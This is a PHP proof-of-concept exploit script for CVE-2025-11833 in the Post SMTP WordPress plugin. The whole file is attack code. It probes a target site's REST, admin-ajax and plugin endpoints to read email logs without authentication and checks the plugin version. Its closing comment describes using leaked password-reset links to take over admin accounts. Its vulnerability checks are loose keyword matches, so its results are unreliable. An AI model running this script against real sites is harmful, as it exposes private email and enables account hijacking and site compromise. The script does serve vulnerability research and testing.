<?php
/**
* CVE-2025-11833 PoC - Post SMTP Unauthorized Email Access
* This PoC demonstrates the missing capability check vulnerability
* in Post SMTP plugin's __construct function
*
* Usage: php cve-2025-11833-poc.php <target-url>
*/
class PostSMTPPoC {
private $targetUrl;
private $vulnerableVersions = ['3.6.0', '3.5.0', '3.4.0', '3.3.0', '3.2.0'];
public function __construct($url) {
$this->targetUrl = rtrim($url, '/');
}
/**
* Check if target is vulnerable by attempting to access email logs
* The vulnerability exists because __construct function lacks capability check
*/
public function checkVulnerability() {
echo "[*] Checking vulnerability for CVE-2025-11833\n";
echo "[*] Target: {$this->targetUrl}\n\n";
// Method 1: Direct API endpoint access (if exposed)
$endpoints = [
'/wp-json/post-smtp/v1/logs',
'/?rest_route=/post-smtp/v1/logs',
'/wp-content/plugins/post-smtp/Postman/PostmanEmailLogs.php'
];
foreach ($endpoints as $endpoint) {
$url = $this->targetUrl . $endpoint;
$response = $this->sendRequest($url);
if ($this->isVulnerable($response)) {
echo "[+] VULNERABLE: {$endpoint}\n";
echo "[+] Access to email logs confirmed without authentication\n";
return true;
}
}
// Method 2: Check plugin version via readme
$readmeUrl = $this->targetUrl . '/wp-content/plugins/post-smtp/readme.txt';
$response = $this->sendRequest($readmeUrl);
if ($this->checkVersion($response)) {
echo "[!] Plugin version detected, manual verification needed\n";
}
return false;
}
/**
* Extract email logs - simulates unauthorized access
*/
public function extractEmailLogs() {
echo "\n[*] Attempting to extract email logs...\n";
// In real attack, this would extract all logged emails
// including password reset emails containing sensitive links
$logEndpoints = [
'/wp-admin/admin-ajax.php?action=post_smtp_get_logs',
'/wp-json/post-smtp/v1/emails'
];
foreach ($logEndpoints as $endpoint) {
$url = $this->targetUrl . $endpoint;
$response = $this->sendRequest($url);
if ($this->containsEmailData($response)) {
echo "[+] Email data accessible at: {$endpoint}\n";
echo "[+] Contains sensitive information (password reset links, etc.)\n";
}
}
}
private function sendRequest($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
private function isVulnerable($response) {
// Check if response contains email log data
return (strpos($response, 'email') !== false ||
strpos($response, 'log') !== false ||
strpos($response, 'smtp') !== false);
}
private function containsEmailData($response) {
// Check for email-related content
return (strpos($response, 'to:') !== false ||
strpos($response, 'subject:') !== false ||
strpos($response, 'message_id') !== false);
}
private function checkVersion($response) {
foreach ($this->vulnerableVersions as $version) {
if (strpos($response, 'Stable tag: ' . $version) !== false) {
echo "[!] Vulnerable version detected: {$version}\n";
return true;
}
}
return false;
}
}
// Main execution
if ($argc < 2) {
echo "Usage: php cve-2025-11833-poc.php <target-url>\n";
echo "Example: php cve-2025-11833-poc.php http://target.com\n";
exit(1);
}
$poc = new PostSMTPPoC($argv[1]);
$poc->checkVulnerability();
$poc->extractEmailLogs();
/*
* Impact Assessment:
* - Unauthenticated attackers can read all logged emails
* - Password reset emails may contain valid reset tokens
* - Attackers can hijack user accounts including admin accounts
* - Full site compromise possible through admin account takeover
*/
?>